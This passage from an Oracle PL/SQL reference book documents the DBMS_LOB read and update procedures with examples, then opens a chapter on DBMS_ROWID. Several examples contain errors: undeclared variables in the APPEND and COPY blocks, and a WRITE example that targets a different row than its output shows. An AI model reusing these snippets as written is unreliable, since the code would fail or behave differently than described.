   END IF;
END;
/

This is the output of the script:

diagrams are different

8.3.2.2 The DBMS_LOB.GETLENGTH function

The GETLENGTH function returns the length of the input LOB. The length is in bytes for BFILEs and BLOBs, and in characters for CLOBs and NCLOBs. The headers for this program, for each corresponding LOB type, are the following:

FUNCTION DBMS_LOB.GETLENGTH (lob_loc IN BLOB) RETURN INTEGER;

FUNCTION DBMS_LOB.GETLENGTH (lob_loc IN CLOB CHARACTER SET ANY_CS)
   RETURN INTEGER;

FUNCTION DBMS_LOB.GETLENGTH (lob_loc IN BFILE) RETURN INTEGER;

The lob_loc parameter is the locator of the LOB whose length is to be determined.

The overloaded specification allows GETLENGTH to be used with all types of LOBs. The clause ANY_CS in the specification allows either CLOB or NCLOB locators as input.

The function returns the length (in bytes or characters) of the input LOB, or it returns NULL if the input LOB is NULL or invalid.

8.3.2.2.1 Restrictions

The program asserts a purity level with the RESTRICT_REFERENCES pragma.

PRAGMA RESTRICT_REFERENCES (getlength, WNDS, RNDS, WNPS, RNPS);

8.3.2.2.2 Examples

The following example gets the size in bytes of the file ch01_01.bmp in the IMAGES directory:

DECLARE
   v_file_loc       BFILE;
   v_diagram_size   INTEGER;

BEGIN
   v_file_loc := BFILENAME('IMAGES','ch01_01.bmp');

   v_diagram_size := DBMS_LOB.GETLENGTH(v_file_loc);
   DBMS_OUTPUT.PUT_LINE('Diagram size: ' || v_diagram_size);
END;
/

This is the output of the script:

Diagram size: 481078

This example gets the size in characters of "Chapter 1" from the my_book_text table:

DECLARE
   v_text_loc      CLOB;
BEGIN
   v_text_loc := book_text ('Chapter 1');
   DBMS_OUTPUT.PUT_LINE
      ('Length of Chapter 1: ' || DBMS_LOB.GETLENGTH(v_text_loc));
END;
/

This is the output of the script:

Length of Chapter 1: 100

8.3.2.3 The DBMS_LOB.READ procedure

The READ procedure provides piece-wise read access to a LOB. A specified number of bytes (BFILE, BLOB) or characters (CLOB, NCLOB) is read into the buffer, starting from a specified location. The number of bytes or characters actually read by the operation is returned. The headers for this program, corresponding to each type, are the following:

PROCEDURE DBMS_LOB.READ
   (lob_loc IN BLOB | BFILE,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer OUT RAW);

PROCEDURE DBMS_LOB.READ
   (lob_loc IN CLOB CHARACTER SET ANY_CS,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer OUT VARCHAR2 CHARACTER SET lob_loc%CHARSET);

The overloaded specification allows READ to be used with all types of LOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input.

The READ procedure and the DBMS_LOB.SUBSTR function provide similar functionality. READ is a procedure, while SUBSTR is a function. However, READ will raise NO_DATA_FOUND and INVALID_ARGVAL exceptions, while SUBSTR will ignore these exceptions and return NULL when they occur. DBMS_LOB.SUBSTR can also be called from within a SQL statement, but READ cannot be, since it is a procedure.

Parameters are summarized in the following table.

Parameter | Description
lob_loc | A locator for the LOB to be read
amount | Number of bytes (BFILE, BLOB) or characters (CLOB, NCLOB) to read; the number of bytes or characters actually read by the operation is returned in amount
offset | Location of the byte (BFILE, BLOB) or character (CLOB, NCLOB) in the LOB at which the read begins
buffer | Buffer where the results of the read operation are placed

8.3.2.3.1 Exceptions

The READ procedure may raise any of the following exceptions:

VALUE_ERROR

lob_loc, amount, or offset is NULL.

INVALID_ARGVAL

One of the following conditions exists:

  • amount< 1 or amount> 32767

  • offset< 1 or offset> LOBMAXSIZE

  • size of amount> size of buffer

NO_DATA_FOUND

The end of the LOB is reached.

UNOPENED_FILE

For BFILEs, files must be open before the read.

NOEXIST_DIRECTORY

For BFILEs.

NOPRIV_DIRECTORY

For BFILEs.

INVALID_DIRECTORY

For BFILEs.

INVALID_OPERATION

For BFILEs.

8.3.2.3.2 Examples

The following example reads the first 60 characters of the CLOB chapter_text column of the my_book_texttable using the "Chapter 1" row:

DECLARE
   v_text_loc      CLOB;
   v_text_amt      BINARY_INTEGER := 60;
   v_text_buffer   VARCHAR2(60);
BEGIN
   v_text_loc := book_text ('Chapter 1');
   DBMS_LOB.READ (v_text_loc, v_text_amt, 1, v_text_buffer);
   DBMS_OUTPUT.PUT_LINE('Chapter 1: ' || v_text_buffer);
END;
/

This is the output of the script:

Chapter 1: It was a dark and stormy night.  Suddenly a scream rang out.

The next example reads sixty characters at a time from the CLOB chapter_text column of the my_book_text table using the "Chapter 1" row. Note that the loop continues until READ raises the NO_DATA_FOUND exception.

DECLARE
   v_text_loc      CLOB;
   v_text_amt      BINARY_INTEGER := 60;
   v_text_pos      INTEGER := 1;
   v_text_buffer   VARCHAR2(60);
BEGIN
   v_text_loc := book_text ('Chapter 1');
   LOOP
      DBMS_LOB.READ
         (v_text_loc, v_text_amt, v_text_pos, v_text_buffer);
      /* process the text and prepare to read again */
      DBMS_OUTPUT.PUT_LINE('Chapter 1: ' || v_text_buffer);
      v_text_pos := v_text_pos + v_text_amt;
   END LOOP;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE('End of Chapter Reached.');
END;
/

This script produces the following:

Chapter 1: It was a dark and stormy night.  Suddenly a scream rang out.
Chapter 1:   An EXCEPTION had not been handled.
End of Chapter Reached.

Note that the maximum size of a VARCHAR2 or RAW variable is 32767 bytes. This is the size limit of the buffer to be used with READ.

8.3.2.4 The DBMS_LOB.SUBSTR function

The SUBSTR function provides piece-wise access to a LOB. The specified number of bytes (BFILE, BLOB) or characters (CLOB, NCLOB) is returned, starting from the specified location. The headers for this program, corresponding to each LOB type, are the following:

FUNCTION DBMS_LOB.SUBSTR
   (lob_loc IN BLOB | BFILE,
    amount IN INTEGER := 32767,
    offset IN INTEGER := 1)
    RETURN RAW;

FUNCTION DBMS_LOB.SUBSTR
   (lob_loc IN CLOB CHARACTER SET ANY_CS,
    amount IN INTEGER := 32767,
    offset IN INTEGER := 1)
    RETURN VARCHAR2 CHARACTER SET lob_loc%CHARSET;

The overloaded specification allows SUBSTR to be used with all types of LOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input.

The SUBSTR function and DBMS_LOB.READ procedure provide similar functionality. READ is a procedure, while SUBSTR is a function. However, READ will raise NO_DATA_FOUND and INVALID_ARGVAL exceptions, while SUBSTR will ignore these exceptions when they occur and will return NULL. SUBSTR can also be called from within a SQL statement, but DBMS_LOB.READ cannot, since it is a procedure.

Parameters are summarized in the following table.

Parameter | Description
lob_loc | Locator for the LOB to be read
amount | Number of bytes (BFILE, BLOB) or characters (CLOB, NCLOB) to read
offset | Location of the byte (BFILE, BLOB) or character (CLOB, NCLOB) in the LOB at which the read begins

The SUBSTR function returns a NULL value for any of the following conditions:

  • One of the parameters is NULL or invalid

  • amount< 1 or amount> 32767

  • offset< 1 or offset> LOBMAXSIZE

8.3.2.4.1 Exceptions

The SUBSTR function may raise one of the following exceptions:

UNOPENED_FILE

For BFILEs. Files must be open before the SUBSTR operation.

NOEXIST_DIRECTORY

For BFILEs.

NOPRIV_DIRECTORY

For BFILEs.

INVALID_DIRECTORY

For BFILEs.

INVALID_OPERATION

For BFILEs.

8.3.2.4.2 Restrictions

The program asserts a purity level with the RESTRICT_REFERENCES pragma.

 PRAGMA RESTRICT_REFERENCES (substr, WNDS, RNDS, WNPS, RNPS);

8.3.2.4.3 Examples

The following example reads the first 60 characters of the CLOB chapter_text column of the my_book_texttable using the "Chapter 1" row:

DECLARE
   v_text_loc      CLOB;
   v_text_amt      BINARY_INTEGER := 60;
   v_text_buffer   VARCHAR2(60);
BEGIN
   v_text_loc := book_text ('Chapter 1');

   v_text_buffer := DBMS_LOB.SUBSTR (v_text_loc, v_text_amt, 1);
   DBMS_OUTPUT.PUT_LINE ('Chapter 1: ' || v_text_buffer);
END;
/

This is the output of the script:

Chapter 1: It was a dark and stormy night.  Suddenly a scream rang out.

The next example reads 60 characters at a time from the CLOB chapter_text column of the my_book_text table using the "Chapter 1" row. Note that the loop continues until SUBSTR returns NULL (i.e., SUBSTR does not raise the NO_DATA_FOUND exception).

DECLARE
   v_text_loc      CLOB;
   v_text_amt      BINARY_INTEGER := 60;
   v_text_pos      INTEGER := 1;
   v_buffer   VARCHAR2(60);
BEGIN
   v_text_loc := book_text ('Chapter 1');

   LOOP
      v_buffer := DBMS_LOB.SUBSTR (v_text_loc, v_text_amt, v_text_pos);
      EXIT WHEN v_buffer IS NULL;

      /* process the text and prepare to read again */
      DBMS_OUTPUT.PUT_LINE('Chapter 1: ' || v_buffer);
      v_text_pos := v_text_pos + v_text_amt;
   END LOOP;
END;
/

This is the output of the script:

Chapter 1: It was a dark and stormy night.  Suddenly a scream rang out.
Chapter 1:   An EXCEPTION had not been handled.

8.3.2.5 The DBMS_LOB.INSTR function

The INSTR function returns the matching offset location of the Nthoccurrence of the given pattern in the LOB. It returns zero if the pattern is not found. The headers for this program, corresponding to each LOB type, are the following:

FUNCTION DBMS_LOB.INSTR
   (lob_loc IN BLOB | BFILE,
    pattern IN RAW,
    offset IN INTEGER := 1,
    nth IN INTEGER := 1)
    RETURN INTEGER;

FUNCTION DBMS_LOB.INSTR
   (lob_loc IN CLOB CHARACTER SET ANY_CS,
    pattern IN VARCHAR2 CHARACTER SET lob_loc%CHARSET,
    offset IN INTEGER := 1,
    nth IN INTEGER := 1)
    RETURN INTEGER;

The overloaded specification allows INSTR to be used with all types of LOBs. The clause ANY_CS in the specification allows either CLOB or NCLOB locators as input.

Parameters are summarized in the following table.

Parameter | Description
lob_loc | A locator for the LOB to be searched
pattern | The pattern to search for in the LOB
offset | Location of the byte (BFILE, BLOB) or character (CLOB, NCLOB) in the LOB at which the search begins
nth | Search for the Nth occurrence of the given pattern in the LOB

The INSTR function returns NULL for any of the following conditions:

  • file_loc or pattern is NULL

  • one of the parameters is invalid

  • offset < 1 or offset > LOBMAXSIZE

  • nth < 1 or nth > LOBMAXSIZE

8.3.2.5.1 Exceptions

The INSTR function may raise any of the following exceptions:

UNOPENED_FILE

For BFILEs. Files must be open before the INSTR operation.

NOEXIST_DIRECTORY

For BFILEs.

NOPRIV_DIRECTORY

For BFILEs.

INVALID_DIRECTORY

For BFILEs.

INVALID_OPERATION

For BFILEs.

8.3.2.5.2 Restrictions

The program asserts a purity level with the RESTRICT_REFERENCES pragma.

   PRAGMA RESTRICT_REFERENCES (instr, WNDS, RNDS, WNPS, RNPS);

8.3.2.5.3 Example

The following example searches for the first occurrence of the string "dark" in the first sixty characters of the CLOB chapter_text column of the "Chapter 1" row of the my_book_texttable:

DECLARE
   v_text_loc      CLOB;
   v_text_buffer   VARCHAR2(60);
   v_text_pattern  VARCHAR2(60) := 'dark';
BEGIN
   v_text_loc := book_text ('Chapter 1');
   v_text_buffer := DBMS_LOB.SUBSTR (v_text_loc, 60, 1);

   DBMS_OUTPUT.PUT_LINE ('buffer: ' || v_text_buffer);
   DBMS_OUTPUT.PUT_LINE
      ('location of "' || v_text_pattern || '": ' ||
       DBMS_LOB.INSTR(v_text_loc, v_text_pattern));
END;
/

This is the output of the script:

buffer: It was a dark and stormy night.  Suddenly a scream rang out.
location of "dark": 10

8.3.3 Updating BLOBs, CLOBs, and NCLOBs

The following sections describe the programs in the DBMS_LOB package that are used to update or alter BLOB, CLOB, and NCLOB object types.

8.3.3.1 The DBMS_LOB.APPEND procedure

The APPEND procedure appends the contents of a source internal LOB to a destination internal LOB. The headers for this program, corresponding to each LOB type, are the following:

PROCEDURE DBMS_LOB.APPEND
   (dest_lob IN OUT BLOB,
    src_lob IN BLOB);

PROCEDURE DBMS_LOB.APPEND
   (dest_lob IN OUT CLOB CHARACTER SET ANY_CS,
    src_lob IN CLOB CHARACTER SET dest_lob%CHARSET);

The overloaded specification allows APPEND to be used with BLOBs, CLOBs, and NCLOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input. APPEND cannot be used with BFILEs because access to BFILEs is read-only.

Parameters are summarized in the following table.

Parameter | Description
dest_lob | A locator for the destination LOB
src_lob | A locator for the source LOB

8.3.3.1.1 Exceptions

The program may raise any of the following exceptions:

VALUE_ERROR

Either of the LOBs is NULL.

ORA-22920

dest_lob is not locked for update.

8.3.3.1.2 Examples

The following example shows that the destination LOB must be selected FOR UPDATE before calling APPEND. We attempt to append the chapter_textfor "Chapter 2" to the chapter_textfor "Chapter 1."

DECLARE
   v_text_loc      CLOB;
   v_text_buffer   VARCHAR2(60);
   v_text_pattern  VARCHAR2(60) := 'dark';
BEGIN
   v_dest_loc := book_text ('Chapter 1');
   v_src_loc  := book_text ('Chapter 2');
   DBMS_LOB.APPEND (v_dest_loc, v_src_loc);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE('OTHERS Exception ' || sqlerrm);
END;
/

This is the output of the script:

OTHERS Exception ORA-22920: row containing the LOB value is not locked

In the next example we append the chapter_textfor "Chapter" to the chapter_textfor "Chapter 1." We display the appended text, roll back the changes, and display the original text. Internal LOBs can participate in database transactions.

DECLARE
   v_text_loc      CLOB;
   v_text_buffer   VARCHAR2(60);
   v_text_pattern  VARCHAR2(60) := 'dark';
BEGIN
   v_dest_loc := book_text_forupdate ('Chapter 1');
   v_src_loc  := book_text ('Chapter 2');
   DBMS_LOB.APPEND (v_dest_loc, v_src_loc);
END;
/

   SET LONG 200
   COL chapter_descr FOR A15
   COL chapter_text FOR A40 WORD_WRAPPED

@compare_text ('Chapter 1');

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.  The sun
                shone brightly the following morning.
                All traces of the storm had disappeared.

Rollback complete.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

8.3.3.2 The DBMS_LOB.COPY procedure

The COPY procedure copies all or part of the contents of a source internal LOB to a destination internal LOB. An offset location in each LOB can be specified. The headers for this program, corresponding to each LOB type, are the following:

PROCEDURE DBMS_LOB.COPY
   (dest_lob IN OUT BLOB,
    src_lob IN BLOB,
    amount IN INTEGER,
    dest_offset IN INTEGER := 1,
    src_offset IN INTEGER := 1);

PROCEDURE DBMS_LOB.COPY
   (dest_lob IN OUT CLOB CHARACTER SET ANY_CS,
    src_lob IN CLOB CHARACTER SET dest_lob%CHARSET,
    amount IN INTEGER,
    dest_offset IN INTEGER := 1,
    src_offset IN INTEGER := 1);

The overloaded specification allows COPY to be used with BLOBs, CLOBs, and NCLOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input. COPY cannot be used with BFILEs, because access to BFILEs is read-only.

Parameters are summarized in the following table.

Parameter | Description
dest_lob | Locator for the destination LOB
src_lob | Locator for the source LOB
amount | Number of bytes (BLOB) or characters (CLOB, NCLOB) to copy
dest_offset | Location of the byte (BLOB) or character (CLOB, NCLOB) in the destination LOB at which the copy operation begins; the default value is 1
src_offset | Location of the byte (BLOB) or character (CLOB, NCLOB) in the source LOB at which the copy operation begins; the default value is 1

8.3.3.2.1 Exceptions

The COPY procedure may raise one of the following exceptions:

VALUE_ERROR

One or both LOBs are NULL or invalid.

INVALID_ARGVAL

One of the following conditions exists:

  • src_offset < 1 or src_offset > LOBMAXSIZE

  • dest_offset <1 or dest_offset > LOBMAXSIZE

  • amount < 1 or amount > LOBMAXSIZE

ORA-22920

dest_lob is not locked for update.

8.3.3.2.2 Example

In the following example, the text "Suddenly a scream rang out..." is copied from the "Chapter 1" row of the my_book_text table to the "Chapter 2" row. Note that the COPY operation replaces (i.e., does not append) existing text. We display the copied text, roll back the changes, and display the original text. Internal LOBs can participate in database transactions.

SET LONG 200
COL chapter_descr FOR A15
COL chapter_text FOR A40 WORD_WRAPPED

SELECT chapter_descr, chapter_text
  FROM my_book_text;

DECLARE
   v_text_loc      CLOB;
   v_text_buffer   VARCHAR2(60);
   v_text_pattern  VARCHAR2(60) := 'dark';
BEGIN
   v_dest_loc := book_text_forupdate ('Chapter 2');
   v_src_loc  := book_text ('Chapter 1');
   DBMS_LOB.COPY(v_dest_loc, v_src_loc, 63, 47 ,34);
END;
/
@compare_text ('Chapter 2');

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.

PL/SQL procedure successfully completed.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning. Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

Rollback complete.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.

8.3.3.3 The DBMS_LOB.ERASE procedure

The ERASE procedure removes all or part of the contents of an internal LOB. An offset location in the LOB can be specified. In the middle of a LOB, spaces are written for CLOBs and NCLOBs, and zero-byte filler is written for BLOBs.

PROCEDURE DBMS_LOB.ERASE
   (lob_loc IN OUT BLOB | CLOB CHARACTER SET ANY_CS,
    amount IN OUT INTEGER,
    offset IN INTEGER := 1);

The overloaded specification allows ERASE to be used with BLOBs, CLOBs, and NCLOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input. ERASE cannot be used with BFILEs because access to BFILEs is read-only.

Parameters are summarized in the following table.

Parameter | Description
lob_loc | Locator for the LOB to be erased
amount | Number of bytes (BLOB) or characters (CLOB, NCLOB) to erase
offset | Location of the byte (BLOB) or character (CLOB, NCLOB) in the LOB at which the erase operation begins; the default value is 1

8.3.3.3.1 Exceptions

The ERASE procedure may raise any of the following exceptions:

VALUE_ERROR

lob_loc or amount is NULL or invalid.

INVALID_ARGVAL

One of the following conditions exists:

  • amount < 1 or amount > LOBMAXSIZE

  • offset < 1 or offset > LOBMAXSIZE

ORA-22920

dest_lob is not locked for update.

8.3.3.3.2 Example

In the following example, we erase the string "brightly" from the "Chapter 2" chapter_textcolumn in the my_book_text table. Note that the string is replaced with spaces. We display the erased text, roll back the changes, and display the original text. Internal LOBs can participate in database transactions.

   SET LONG 200
   COL chapter_descr FOR A15
   COL chapter_text FOR A40 WORD_WRAPPED

   SELECT chapter_descr, chapter_text
     FROM my_book_text
    WHERE chapter_descr = 'Chapter 2';

DECLARE
   v_dest_loc      CLOB;
   v_erase_amt     INTEGER;
BEGIN
   v_dest_loc := book_text_forupdate ('Chapter 2');
   v_erase_amt := 9;
   DBMS_LOB.ERASE(v_dest_loc, v_erase_amt, 15);
END;
/

@compare_text ('Chapter 2');

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.

PL/SQL procedure successfully completed.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone          the following
                morning.  All traces of the storm had
                disappeared.

Rollback complete.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.

8.3.3.4 The DBMS_LOB.TRIM procedure

The TRIM procedure trims the contents of an internal LOB to a specified length. The headers for this program, corresponding to each LOB type, are the following:

PROCEDURE DBMS_LOB.TRIM
   (lob_loc IN OUT BLOB|CLOB CHARACTER SET ANY_CS,
    newlen IN INTEGER);

The overloaded specification allows TRIM to be used with BLOBs, CLOBs, and NCLOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input. TRIM cannot be used with BFILEs because access to BFILEs is read-only.

The parameters for this program are summarized in the following table.

Parameter | Description
lob_loc | Locator for the LOB to be erased
newlen | Number of bytes (BLOB) or characters (CLOB, NCLOB) to remain in the LOB

8.3.3.4.1 Exceptions

The TRIM procedure may raise any of the following exceptions:

VALUE_ERROR

lob_loc or newlen is NULL or invalid.

INVALID_ARGVAL

newlen < 0 or newlen > LOBMAXSIZE.

ORA-22920

dest_lob is not locked for update.

8.3.3.4.2 Example

In the following example, we trim the "Chapter 1" chapter_textcolumn in the my_book_text table to 31 characters. We display the trimmed text, roll back the changes, and display the original text. Internal LOBs can participate in database transactions.

   SET LONG 200
   COL chapter_descr FOR A15
   COL chapter_text FOR A40 WORD_WRAPPED

   SELECT chapter_descr, chapter_text
     FROM my_book_text
    WHERE chapter_descr = 'Chapter 1';
DECLARE
   v_text_loc CLOB;
BEGIN
   v_text_loc := book_text ('Chapter 1');
   DBMS_LOB.TRIM (v_text_loc, 31);
END;
/
@compare_text ('Chapter 1');

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

PL/SQL procedure successfully completed.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.

Rollback complete.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

8.3.3.5 The DBMS_LOB.WRITE procedure

The WRITE procedure writes a given number of bytes (BLOB) or characters (CLOB, NCLOB) to an internal LOB, beginning at a specified offset. The contents of the write operation are taken from the buffer. WRITE replaces (overlays) any data that exists in the LOB at the offset. The headers for this program, for each corresponding LOB type, are the following:

PROCEDURE DBMS_LOB.WRITE
   (lob_loc IN OUT BLOB,
    amount IN BINARY_INTEGER,
    offset IN INTEGER,
    buffer IN RAW);

PROCEDURE DBMS_LOB.WRITE
   (lob_loc IN OUT CLOB CHARACTER SET ANY_CS,
    amount IN BINARY_INTEGER,
    offset IN INTEGER,
    buffer IN VARCHAR2 CHARACTER SET lob_loc%CHARSET);

The overloaded specification allows WRITE to be used with BLOBs, CLOBs, and NCLOBs. The term ANY_CS in the specification allows either CLOB or NCLOB locators as input. WRITE cannot be used with BFILEs, because access to BFILEs is read-only.

Parameters are summarized in the following table.

Parameter | Description
lob_loc | A locator for the target LOB
amount | Number of bytes (BLOB) or characters (CLOB, NCLOB) to be written
offset | The location of the byte (BLOB) or character (CLOB, NCLOB) in the LOB at which the write begins
buffer | Buffer holding the contents of the write operation

8.3.3.5.1 Exceptions

The WRITE procedure may raise any of the following exceptions:

VALUE_ERROR

lob_loc, amount, or offset is NULL or invalid.

INVALID_ARGVAL

One of the following conditions exists:

  • amount < 1 or amount > 32767

  • offset < 1 or offset > LOBMAXSIZE

8.3.3.5.2 Example

In the following example, we write the string "The End" to the end of the "Chapter 2" chapter_textcolumn in the my_book_text table. We display the new text, roll back the changes, and display the original text. Internal LOBs can participate in database transactions.

   SET LONG 200
   COL chapter_descr FOR A15
   COL chapter_text FOR A40 WORD_WRAPPED

   SELECT chapter_descr, chapter_text
     FROM my_book_text
    WHERE chapter_descr = 'Chapter 2';

DECLARE
   v_text_loc CLOB;
   v_offset   INTEGER;
   v_buffer   VARCHAR2(100);
BEGIN
   v_text_loc := book_text_forupdate ('Chapter 1');
   v_offset := DBMS_LOB.GETLENGTH (v_text_loc) + 3;
   v_buffer := 'The End.';
   DBMS_LOB.WRITE (v_text_loc, 8, v_offset, v_buffer);
END;
/

@compare_text ('Chapter 2');

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.

PL/SQL procedure successfully completed.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.  The End.

Rollback complete.

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 2       The sun shone brightly the following
                morning.  All traces of the storm had
                disappeared.

Previous: 8.2 LOB Concepts | Oracle Built-in Packages | Next: 9. Datatype Packages
8.2 LOB Concepts | Book Index | 9. Datatype Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] Datatype Packages

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 8.3 DBMS_LOB Interface Chapter 9 Next: 9.2 UTL_RAW: Manipulating Raw Data

9. Datatype Packages

Contents:
DBMS_ROWID: Working with the ROWID Pseudo-Column (Oracle8 only)
UTL_RAW: Manipulating Raw Data

This chapter introduces you to several packages that let you work effectively with particular types of Oracle data:

DBMS_ROWID

New in Oracle8, allows you to work with the two different ROWID formats: extended (new to Oracle8) and restricted (traditional Oracle7 ROWIDs).

UTL_RAW

Offers a set of functions allowing you to perform concatenation, substring, bit-wise logical analysis, byte translation, and length operations on RAW data.

UTL_REF

New in Oracle8 Release 8.1; provides a PL/SQL interface to select and modify objects (instances of an object type) in an object table without having to specify or know about the underlying database table.

9.1 DBMS_ROWID: Working with the ROWID Pseudo-Column (Oracle8 only)

The DBMS_ROWID package lets you work with ROWIDs from within PL/SQL programs and SQL statements. You can use the programs in this package to both create and manipulate ROWIDs. You can determine the data block number, the object number, and other components of the ROWID without having to write code to translate the base-64 character external ROWID.

NOTE: With Oracle8, there are two types of ROWIDs: extended and restricted. Restricted ROWIDs are the ROWIDs available with Oracle Version 7 and earlier. Extended ROWIDs are used only in Oracle8.

9.1.1 Getting Started with DBMS_ROWID

The DBMS_ROWID package is created when the Oracle8 database is installed. The dbmsutil.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction), contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_ROWID for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

All of the programs in DBMS_ROWID run as invoker, meaning that the privileges of the programs are taken from the session running the DBMS_ROWID programs and not from the owner of that package.

9.1.1.1 DBMS_ROWID programs

Table 9.1 lists the programs defined for the DBMS_ROWID package. For a dicussion of some of the concepts underlying these program operations, see the next section, "Section 9.1.2, "ROWID Concepts"."

Table 9.1: DBMS_ROWID Programs
Name | Description | Use in SQL
ROWID_BLOCK_NUMBER | Returns the database block number of the ROWID. | Yes
ROWID_CREATE | Creates a ROWID (either restricted or extended as you request) based on the individual ROWID component values you specify. Use this function for test purposes only. | Yes
ROWID_INFO | Returns information about the specified ROWID. This procedure essentially "parses" the ROWID. | Yes
ROWID_OBJECT | Returns the data object number for an extended ROWID. Returns 0 if the specified ROWID is restricted. | Yes
ROWID_RELATIVE_FNO | Returns the relative file number (relative to the tablespace) of the ROWID. | Yes
ROWID_ROW_NUMBER | Returns the row number of the ROWID. | Yes
ROWID_TO_ABSOLUTE_FNO | Returns the absolute file number (for a row in a given schema and table) from the ROWID. | Yes
ROWID_TO_EXTENDED | Converts a restricted ROWID to an extended ROWID. | Yes
ROWID_TO_RESTRICTED | Converts an extended ROWID to a restricted ROWID. | Yes
ROWID_TYPE | Returns 0 if the ROWID is restricted, 1 if the ROWID is extended. | Yes
ROWID_VERIFY | Returns 0 if the restricted ROWID provided can be converted to an extended format, and 1 otherwise. | Yes

9.1.1.2 DBMS_ROWID exceptions

Table 9.2 lists the named exceptions defined in the DBMS_ROWID package; they are associated with the error number listed beside the name.

Table 9.2: DBMS_ROWID Exceptions
Name | Number | Description
ROWID_INVALID | -1410 | The value entered is larger than the maximum width defined for the column.
ROWID_BAD_BLOCK | -28516 | The block number specified in the ROWID is invalid.

9.1.1.3 DBMS_ROWID nonprogram elements

Table 9.3 lists the named constants defined by the DBMS_ROWID package for use with its programs.

Table 9.3: DBMS_ROWID Constants
Name/Type | Description
ROWID_TYPE_RESTRICTED | A ROWID type: integer constant assigned the value of 0.
ROWID_TYPE_EXTENDED | A ROWID type: integer constant assigned the value of 1.
ROWID_IS_VALID | A ROWID verification result: integer constant assigned the value of 0.
ROWID_IS_INVALID | A ROWID verification result: integer constant assigned the value of 1.
ROWID_OBJECT_UNDEFINED | An object type indicating that the object number is not defined (for restricted ROWIDs): integer constant assigned the value of 0.
ROWID_CONVERT_INTERNAL | A ROWID conversion type: integer constant assigned the value of 0.
ROWID_CONVERT_EXTERNAL | A ROWID conversion type: integer constant assigned the value of 1.

9.1.2 ROWID Concepts

This section offers a quick overview of the Oracle ROWID. You can get much more extensive information on ROWIDs from the Oracle documentation.

In the Oracle RDBMS, ROWID is a pseudocolumn that is a part of every table you create. The ROWID is an internally generated and maintained binary value that identifies a row of data in your table. It is called a pseudocolumn because a SQL statement includes it in places where you would normally use a column. However, it is not a column that you create for the table. Instead, the RDBMS generates the ROWID for each row as it is inserted into the database. The information in the ROWID provides the exact physical location of the row in the database. You cannot change the value of a ROWID.

You can use the ROWID datatype to store ROWIDs from the database in your PL/SQL program. You can SELECT or FETCH the ROWID for a row into a ROWID variable. To manipulate ROWIDs in Oracle8, you will want to use the DBMS_ROWID package described in this chapter. In Oracle7, you will use the ROWIDTOCHAR function to convert the ROWID to a fixed-length string and then perform operations against that string.

In Oracle7, the format of the fixed-length ROWID is,

BBBBBBB.RRRR.FFFFF

where components of this format have the following meanings:

BBBBBBB

The block in the database file.

RRRR

The row in the block (where the first row is zero, not one).

FFFFF

The database file.

All these numbers are hexadecimal; the database file is a number that you would then use to look up the actual name of the database file through the data dictionary.

In Oracle8, ROWIDs have been "extended" to support partitioned tables and indexes. The new, extended ROWIDs include a data object number, identifying the database segment. Any schema object found in the same segment, such as a cluster of tables, will have the same object number. In Oracle8, then, a ROWID contains the following information:

  • The data object number

  • The data file (where the first file is 1)

  • The data block within the data file

  • The row in the data block (where the first row is 0)

